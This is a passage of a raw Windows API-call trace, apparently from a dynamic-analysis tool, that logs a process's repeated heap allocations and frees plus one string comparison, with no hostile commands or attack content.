GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5a80 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5a90 [0023.247] GetProcessHeap () returned 0x510000 [0023.247] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5aa0 [0023.247] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5ab0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5ac0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5ad0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x572d80 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5ae0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575bb8 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5af0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5b00 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b10 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x24) returned 0x572db0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b20 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575bd0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b30 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b40 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b50 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575be8 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b60 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575c00 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b70 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575c18 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b80 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575c30 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5b90 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5ba0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5bb0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575c48 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5bc0 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x559d50 [0023.248] GetProcessHeap () returned 0x510000 [0023.248] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5bd0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575c60 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5be0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5bf0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c00 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c10 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c20 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c30 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c40 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575c78 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c50 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575c90 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c60 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c70 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c80 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575ca8 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5c90 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5ca0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5cb0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575cc0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5cc0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575cd8 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5cd0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x559c90 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5ce0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575cf0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5cf0 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d08 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d00 [0023.249] GetProcessHeap () returned 0x510000 [0023.249] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d10 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d20 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x559db0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d30 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5d40 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d50 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d60 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d70 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d20 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d80 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d38 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5d90 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5da0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5db0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5dc0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5dd0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x18) returned 0x559d90 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5de0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d50 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5df0 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x5f5e00 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5e10 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5e20 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5e30 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5e40 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5f5e50 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f20 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f30 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f40 [0023.250] GetProcessHeap () returned 0x510000 [0023.250] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f50 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f60 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f70 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f80 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229f90 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229fa0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229fb0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229fc0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229fd0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229fe0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x1229ff0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a000 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d68 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a010 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d80 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a020 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x50) returned 0x5732d0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a030 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a040 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a050 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575d98 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a060 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x559eb0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a070 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a080 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a090 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a0a0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a0b0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a0c0 [0023.251] GetProcessHeap () returned 0x510000 [0023.251] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a0d0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575db0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a0e0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x14) returned 0x559ed0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a0f0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x575dc8 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a100 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x122a110 [0023.252] lstrcmpA (lpString1="#~", lpString2="#~") returned 0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x575de0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a320 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a338 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a350 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a368 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a380 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a398 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a3b0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x80) returned 0x5f5e68 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56fad8 | out: hHeap=0x510000) returned 1 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a3c8 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a3e0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a3f8 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a410 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a428 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a440 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a458 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a470 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100) returned 0x578ab0 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5f5e68 | out: hHeap=0x510000) returned 1 [0023.252] GetProcessHeap () returned 0x510000 [0023.252] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a488 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a4a0 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a4b8 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a4d0 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a4e8 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a500 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a518 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a530 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a548 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a560 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a578 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a590 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a5a8 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a5c0 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a5d8 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a5f0 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x200) returned 0x122a708 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x578ab0 | out: hHeap=0x510000) returned 1 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a608 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a620 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a638 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a650 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a668 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a680 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a698 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a6b0 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a6c8 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a6e0 [0023.253] GetProcessHeap () returned 0x510000 [0023.253] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a928 [0023.253] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a940 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a958 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a970 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a988 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a9a0 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a9b8 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a9d0 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122a9e8 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa00 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa18 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa30 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa48 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa60 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa78 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aa90 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aaa8 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aac0 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x122aad8 [0023.254] GetProcessHeap () returned 0x510000 [0023.254] 